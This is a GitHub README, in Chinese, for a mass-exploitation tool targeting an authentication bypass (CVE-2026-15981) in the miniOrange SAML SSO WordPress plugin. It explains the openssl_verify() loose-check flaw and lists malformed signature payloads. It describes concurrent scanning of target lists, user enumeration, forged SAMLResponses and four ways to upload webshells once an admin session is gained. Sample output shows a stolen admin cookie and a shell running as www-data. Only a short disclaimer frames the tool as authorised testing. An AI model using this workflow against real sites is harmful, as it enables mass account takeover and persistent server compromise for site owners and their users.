Nxploited/CVE-2026-15981

GitHub: Nxploited/CVE-2026-15981

针对 WordPress miniOrange SAML SSO 插件的身份验证绕过漏洞(CVE-2026-15981)的批量扫描与自动化利用工具。

Stars: 0 | Forks: 0

# CVE-2026-15981 SAML Single Sign On <= 5.4.4 - 通过 SAMLResponse 参数绕过身份验证

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — 未授权身份验证绕过

漏洞验证 PoC
畸形的签名 → openssl_verify() 返回 -1 → PHP 松散比较转换为 true → 触发 wp_set_auth_cookie() 获取管理员权限

## 漏洞概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-15981 | | **受影响插件** | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) | | **受影响版本** | 所有版本,最高至并包括 **5.4.4** | | **类型** | 未授权身份验证绕过 | | **CWE** | CWE-287: 不当身份验证 / CWE-305: 通过主要弱点绕过身份验证 | | **CVSS 3.1** | **9.8 严重** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **身份验证** | 无需任何验证 | ### 描述 适用于 WordPress 的 SAML Single Sign On – SSO Login 插件在 5.4.4 及以下所有版本中存在身份验证绕过漏洞。这是由于 `mo_saml_validate_signature()` 函数对 PHP 的 `openssl_verify()` 返回的原始三态整数执行了**松散的布尔检查**,导致错误返回值 **-1** 被判定为真 (truthy),从而被视为签名验证成功。 这使得未经身份验证的攻击者可以通过提交包含攻击者控制的 NameID 和故意构造的畸形签名值(用于触发 OpenSSL 处理错误)的 SAMLResponse,以**任何现有的 WordPress 用户身份(包括管理员)**登录,从而完全绕过验证并导致为目标账户调用 `wp_set_auth_cookie()`。 ### 根本原因 ``` Attacker sends crafted SAMLResponse │ ▼ mo_saml_validate_signature() │ ▼ openssl_verify($data, $malformed_sig, $key) │ ├─ Returns 1 → valid signature ✓ ├─ Returns 0 → invalid signature ✗ └─ Returns -1 → OpenSSL internal error │ ▼ PHP loose comparison: if ($result) │ ├─ (int) 1 → true ✓ ├─ (int) 0 → false ✓ └─ (int) -1 → true ← BUG: error treated as success │ ▼ wp_set_auth_cookie() called │ ▼ Attacker is now Administrator ``` 修复方法非常简单 — 使用 `if ($result === 1)` 而不是 `if ($result)` — 但该缺陷的影响是完全绕过身份验证。 ## 功能特性 - **多目标批量扫描** — 并发处理目标列表 - **完整的 WordPress 指纹识别** — 在继续执行前确认是否为 WordPress - **插件检测与版本检查** — 识别 miniOrange SAML SSO 并验证版本是否 ≤ 5.4.4 - **SP 元数据发现** — 从 `?option=mosaml_metadata` 提取 Entity ID 和 ACS URL - **全面的用户枚举:** - WP REST API (`/wp-json/wp/v2/users`) - 基于特定 ID 的 REST 查询 (ID 1–10) - 作者存档重定向 (`/?author=N`) - HTML body 正则匹配 - 基于域名的后备方案 + 常见管理员用户名 - **IdP 签发者发现** — 跟踪 `?option=saml_user_login` 重定向并提取 IdP 基础 URL - **SAMLResponse 伪造引擎:** - 通过 `lxml` 执行正确的 Exclusive C14N 规范化 - 正确的 Digest 计算 (SHA-1/SHA-256/SHA-384/SHA-512) - 根据 SAML 规范在 `` 后注入 Signature 元素 - 包含 12 种以上专门设计的畸形签名 payload,旨在触发 `openssl_verify() = -1` - 遍历 用户 × 签发者 × 算法 × 签名 × 受众标志 × SP Entity ID - **会话验证** — 每次尝试后检查 `wordpress_logged_in_*` cookie - **管理员角色确认** — 验证对 `/wp-admin/`, `/wp-admin/users.php`, `/wp-admin/plugins.php` 的访问权限 - **个人资料提取** — 从 `/wp-admin/profile.php` 读取用户名和电子邮件 - **获取管理员会话后的 4 种 webshell 上传方法:** - **M1** — 通过 `plugin-install.php` 上传 Plugin ZIP - **M2** — 通过 `/wp-json/wp/v2/plugins` 使用 REST API 上传 Plugin - **M3** — 主题/插件编辑器文件写入 - **M4** — 媒体异步上传 - **Shell 执行验证** — 确认响应 body 中存在 `Nx-zD` 特征 - **诊断引擎** — 对失败原因进行分类 (DIGEST_FAIL, ISSUER, AUDIENCE, TIME 等) - **调试 JSON 输出** — 为每个目标提供完整的诊断日志以供分析 ## 环境要求 ``` Python >= 3.8 ``` ``` pip install requests lxml ``` ## 用法 ``` python CVE-2026-15981.py ``` 系统将提示您输入: | 提示 | 描述 | 默认值 | |---|---|---| | **Targets file** | 包含目标列表的文本文件路径(每行一个) | `list.txt` | | **Threads** | 并发工作线程数 (1–100) | `5` | ### 目标文件格式 ``` https://example.com http://target.org subdomain.example.net 192.168.1.100 https://example.com/wordpress ``` 每行一个 URL。如果未指定协议,默认使用 HTTP。 ## 输出 ### 终端 ``` ███████╗███╗ ███╗███████╗ ██╔════╝████╗ ████║██╔════╝ ███████╗██╔████╔██║███████╗ ╚════██║██║╚██╔╝██║╚════██║ ███████║██║ ╚═╝ ██║███████║ ╚══════╝╚═╝ ╚═╝╚══════╝ ╔══════════════════════════════════════════════════════════╗ ║ miniOrange SAML SSO <= 5.4.4 ║ ║ openssl_verify() -1 Bypass -> Admin Session ║ ╚══════════════════════════════════════════════════════════╝ By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub T.m @Kxploit ``` 每个目标将依次经过 7 个标记阶段: ``` ============================================================ target.com ============================================================ [1] WordPress confirmed [2] SAML plugin version: 5.4.4 miniOrange SAML detected [3] SP metadata metadata entityID: https://target.com/... metadata ACS: https://target.com/ [4] Users REST: admin (id=1) REST: editor (id=2) author/3: johndoe 4 found: ['admin', 'editor', 'johndoe', 'target'] [5] Issuers SSO redirect found 3 candidates [6] Exploit COOKIE! #14 user=admin 0xFF*256/rsa-sha256 wordpress_logged_in_abc123=admin%7C1753... wp-admin accessible user=admin email=admin@target.com users.php -> Admin [7] Shell upload M1: plugin uploaded SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ... +==========================================================+ | ADMIN SESSION CONFIRMED | +==========================================================+ | Target : https://target.com | User : admin | Issuer : https://idp.example.com/simplesaml/... | Method : 0xFF*256/rsa-sha256 | Cookie : wordpress_logged_in_abc123=admin%7C1753... | Shell : https://target.com/wp-content/plugins/nxproof/Nx.php +==========================================================+ ``` ### 结果文件 | 文件 | 内容 | |---|---| | `sms.txt` | 每个确认的管理员会话占一行 — 时间戳、目标、用户、cookie、shell URL、签发者、签名方法 | | `sms_debug.json` | 每个目标的完整 JSON 诊断信息 — 包括尝试次数和失败分类 | ### 结果行格式 ``` [2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_... | SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/... | sig=0xFF*256/rsa-sha256 ``` ### 摘要 ``` ============================================================ DONE - 142.3s ============================================================ ADMIN=3 miss=47 skip=100 results -> sms.txt debug -> sms_debug.json ============================================================ ``` ## 利用流程 ``` Target │ ├─ [1] WordPress Detection │ └─ wp-login.php / wp-json / jQuery fingerprint │ ├─ [2] SAML Plugin Detection │ ├─ readme.txt version check (≤ 5.4.4) │ └─ SAML signature detection in HTML │ ├─ [3] SP Metadata Discovery │ └─ ?option=mosaml_metadata → entityID + ACS URL │ ├─ [4] User Enumeration │ ├─ REST API /wp/v2/users (bulk + per-ID) │ ├─ Author archive redirect (/?author=N) │ ├─ HTML body pattern matching │ └─ Domain fallback + common admin names │ ├─ [5] IdP Issuer Discovery │ ├─ ?option=saml_user_login redirect → IdP URL │ └─ wp-login.php SAML link extraction │ ├─ [6] SAMLResponse Forgery & Delivery │ │ │ │ For each (user × issuer × algorithm × signature × audience × SP ID): │ │ │ ├─ Build SAML Assertion with attacker-controlled NameID │ ├─ Canonicalize via Exclusive C14N (lxml) │ ├─ Compute correct DigestValue for the Assertion │ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.) │ ├─ Wrap in , Base64 encode │ ├─ POST SAMLResponse to ACS URL │ ├─ Check for wordpress_logged_in_* cookie │ ├─ If cookie found → verify admin role via wp-admin │ └─ Classify failure via diagnostic engine │ └─ [7] Post-Exploitation (on admin session) ├─ M1: Plugin ZIP upload + activation ├─ M2: REST API plugin upload ├─ M3: Theme/Plugin editor file write ├─ M4: Media async upload └─ Shell execution verification (Nx-zD signature) ``` ### 畸形签名 Payload 该 exploit 自带 12 种以上特别设计的签名 payload,旨在触发 `openssl_verify() = -1`: | Payload | 描述 | |---|---| | `0xFF * 256` | 256 字节的 `0xFF` — 无效的 PKCS#1 填充 | | `0xFF * 384` | 用于 RSA-3072 密钥大小的 384 字节 | | `0xFF * 512` | 用于 RSA-4096 密钥大小的 512 字节 | | `0xFF * 128` | 用于较小密钥大小的较短缓冲区 | | `0xFF * 64` | 最小化的无效填充 | | `0x00 0x01 0xFF*254` | 看起来像 PKCS#1 v1.5 但结构错误 | | `0x00 0x01 0xFF*126` | 较短的类似 PKCS#1 的结构 | | `null_2B` | 两个相邻的空字节 | | `rand_3B` / `rand_7B` | 随机字节 — 触发解析错误 | | `asn1_bad` | 畸形的 ASN.1 DER 序列 | | `ff_1B` | 单个 `0xFF` 字节 | 每一个都结合了 SHA-1 和 SHA-256 算法 URI,并在多个 SP Entity ID 下测试是否包含 Audience 限制 — 最大化在任何 OpenSSL 版本上触发 `-1` 返回路径的几率。 ## 免责声明 本工具**仅用于授权的安全测试和教育研究目的**。请仅在您拥有或获得明确书面授权测试的系统上使用。 未经授权访问计算机系统是犯罪行为。作者对因使用本软件而产生的任何滥用、损害或法律后果**不承担任何责任**。您需自行确保遵守您所在司法管辖区的所有适用法律法规。

作者:Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit

标签:CISA项目, PoC, SAML, Web安全, WordPress, 暴力破解, 蓝队分析, 身份认证绕过, 逆向工具